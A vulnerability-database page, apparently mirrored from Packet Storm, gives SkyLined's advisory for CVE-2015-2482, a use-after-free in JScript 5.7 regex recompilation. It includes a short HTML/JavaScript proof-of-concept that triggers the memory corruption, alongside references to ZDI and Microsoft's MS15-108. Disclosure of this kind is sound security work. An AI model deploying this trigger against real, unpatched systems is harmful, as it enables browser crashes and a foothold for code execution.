Lucene search
K

JScript 5.7 RegExpBase::FBadHeader Use-After-Free

🗓️ 14 Oct 2015 00:00:00Reported by SkyLinedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

JScript 5.7 RegExpBase::FBadHeader Use-After-Free vulnerability allows code to reuse freed strings leading to potential security ris

Related
Code
`Recompiling the regular expression pattern during a replace can cause  
the code  
to reuse a freed string, but only if the string is freed from the cache by  
allocating and freeing a number of strings of certain size.  
  
CVE-2015-2482:  
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2482  
ZDI-15-515: http://www.zerodayinitiative.com/advisories/ZDI-15-515/  
MS15-108: https://technet.microsoft.com/en-us/library/security/MS15-108  
  
Repro:  
<script>  
var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");  
"A".replace(r, function (){  
for (var j = 0; j < 16; j++) new Array(0x1000).join("B");  
r.compile();  
});  
</script>  
  
Repro-in-a-tweet:  
https://twitter.com/berendjanwever/status/654048253047140352  
  
Cheers,  
  
SkyLined  
  
Follow me on twitter for a new browser bug every* day!  
https://twitter.com/berendjanwever  
  
(* might be more than one some days)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation